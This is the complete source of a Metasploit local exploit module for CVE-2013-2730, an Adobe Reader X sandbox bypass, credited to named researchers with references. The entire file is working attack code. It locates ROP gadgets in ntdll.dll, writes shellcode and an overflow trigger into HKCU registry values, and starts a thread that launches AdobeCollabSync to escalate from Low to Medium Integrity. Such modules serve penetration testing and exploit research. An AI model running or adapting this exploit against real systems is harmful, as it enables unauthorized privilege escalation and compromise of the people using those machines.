## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, { 'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass', 'Description' => %q{ This module exploits a vulnerability on Adobe Reader X Sandbox. The vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe process to write register values which can be used to trigger a buffer overflow on the AdobeCollabSync component, allowing to achieve Medium Integrity Level privileges from a Low Integrity AcroRd32.exe process. This module has been tested successfully on Adobe Reader X 10.1.4 over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Felipe Andres Manzano', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2730' ], [ 'OSVDB', '93355' ], [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => 'meterpreter', 'Payload' => { 'Space' => 12288, 'DisableNops' => true }, 'Targets' => [ [ 'Adobe Reader X 10.1.4 / Windows 7 SP1', { 'AdobeCollabSyncTrigger' => 0x18fa0, 'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF" } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'May 14 2013' })) end def on_new_session print_status("Deleting Malicious Registry Keys...") if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself") end if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself") end print_status("Cleanup finished") end # Test the process integrity level by trying to create a directory on the TEMP folder # Access should be granted with Medium Integrity Level # Access should be denied with Low Integrity Level # Usint this solution atm because I'm experiencing problems with railgun when trying # use GetTokenInformation def low_integrity_level? tmp_dir = session.sys.config.getenv('TEMP') cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def check_trigger signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length) if signature == target['AdobeCollabSyncTriggerSignature'] return true end return false end def collect_addresses # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'] vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}") # find kernel32.dll kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll") @addresses['kernel32.dll'] = kernel32["return"] if @addresses['kernel32.dll'] == 0 fail_with(Failure::Unknown, "Unable to find kernel32.dll") end vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}") # find kernel32.dll methods virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc") @addresses['VirtualAlloc'] = virtual_alloc["return"] if @addresses['VirtualAlloc'] == 0 fail_with(Failure::Unknown, "Unable to find VirtualAlloc") end vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}") reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA") @addresses['RegGetValueA'] = reg_get_value["return"] if @addresses['RegGetValueA'] == 0 fail_with(Failure::Unknown, "Unable to find RegGetValueA") end vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}") # find ntdll.dll ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll") @addresses['ntdll.dll'] = ntdll["return"] if @addresses['ntdll.dll'] == 0 fail_with(Failure::Unknown, "Unable to find ntdll.dll") end vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}") end # Search a gadget identified by pattern on the process memory def search_gadget(base, offset_start, offset_end, pattern) mem = base + offset_start length = offset_end - offset_start mem_contents = session.railgun.memread(mem, length) return mem_contents.index(pattern) end # Search for gadgets on ntdll.dll def search_gadgets ntdll_text_base = 0x10000 search_length = 0xd6000 @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3") if @gadgets['mov [edi], ecx # ret'].nil? fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") end @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll'] @gadgets['mov [edi], ecx # ret'] += ntdll_text_base vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}") @gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2 vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}") @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3") if @gadgets['pop edi # ret'].nil? fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'") end @gadgets['pop edi # ret'] += @addresses['ntdll.dll'] @gadgets['pop edi # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}") @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3") if @gadgets['pop ecx # ret'].nil? fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") end @gadgets['pop ecx # ret'] += @addresses['ntdll.dll'] @gadgets['pop ecx # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}") end def store(buf, data, address) i = 0 while (i < data.length) buf << [@gadgets['pop edi # ret']].pack("V") buf << [address + i].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << data[i, 4].ljust(4,"\x00") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") i = i + 4 end return i end def create_rop_chain mem = 0x0c0c0c0c buf = [0x58000000 + 1].pack("V") buf << [0x58000000 + 2].pack("V") buf << [0].pack("V") buf << [0x58000000 + 4].pack("V") buf << [0x58000000 + 5].pack("V") buf << [0x58000000 + 6].pack("V") buf << [0x58000000 + 7].pack("V") buf << [@gadgets['ret']].pack("V") buf << rand_text(8) # Allocate Memory To store the shellcode and the necessary data to read the # shellcode stored in the registry buf << [@addresses['VirtualAlloc']].pack("V") buf << [@gadgets['ret']].pack("V") buf << [mem].pack("V") # lpAddress buf << [0x00010000].pack("V") # SIZE_T dwSize buf << [0x00003000].pack("V") # DWORD flAllocationType buf << [0x00000040].pack("V") # flProtect # Put in the allocated memory the necessary data in order to read the # shellcode stored in the registry # 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00" reg_key_length = store(buf, reg_key, mem) # 2) The reg entry: shellcode value_key = "shellcode\x00" store(buf, value_key, mem + reg_key_length) # 3) The output buffer size: 0x3000 size_buffer = 0x3000 buf << [@gadgets['pop edi # ret']].pack("V") buf << [mem + 0x50].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << [size_buffer].pack("V") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") # Copy the shellcode from the the registry to the # memory allocated with executable permissions and # ret into there buf << [@addresses['RegGetValueA']].pack("V") buf << [mem + 0x1000].pack("V") # ret to shellcode buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER buf << [mem].pack("V") # lpSubKey buf << [mem + 0x3c].pack("V") # lpValue buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY buf << [0].pack("V") # pdwType buf << [mem + 0x1000].pack("V") # pvData buf << [mem + 0x50].pack("V") # pcbData end # Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry def store_data_registry(buf) vprint_status("Creating the Registry Key to store the shellcode...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") vprint_good("Registry Key created") else fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode") end vprint_status("Storing the shellcode in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY") vprint_good("Shellcode stored") else fail_with(Failure::Unknown, "Failed to store shellcode in the Registry") end # Create the Malicious registry entry in order to exploit.... vprint_status("Creating the Registry Key to trigger the Overflow...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") vprint_good("Registry Key created") else fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") end vprint_status("Storing the trigger in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY") vprint_good("Trigger stored") else fail_with(Failure::Unknown, "Failed to store the trigger in the Registry") end end def trigger_overflow vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...") # Create a thread in order to execute the necessary code to launch AdobeCollabSync ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 print_error("Unable to CreateThread") return end hthread = ret['return'] vprint_status("Resuming the Thread...") # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability! ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 fail_with(Failure::Unknown, "Unable to ResumeThread") end end def check @addresses = {} acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 return Msf::Exploit::CheckCode::Unknown elsif check_trigger return Msf::Exploit::CheckCode::Vulnerable else return Msf::Exploit::CheckCode::Detected end end def exploit @addresses = {} @gadgets = {} print_status("Verifying we're in the correct target process...") acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 fail_with(Failure::NoTarget, "AcroRd32.exe process not found") end vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}") print_status("Checking the AcroRd32.exe image...") if not check_trigger fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") end print_status("Checking the Process Integrity Level...") if not low_integrity_level? fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") end print_status("Collecting necessary addresses for exploit...") collect_addresses print_status("Searching the gadgets needed to build the ROP chain...") search_gadgets print_good("Gadgets collected...") print_status("Building the ROP chain...") buf = create_rop_chain print_good("ROP chain ready...") print_status("Storing the shellcode and the trigger in the Registry...") store_data_registry(buf) print_status("Executing AdobeCollabSync.exe...") trigger_overflow end end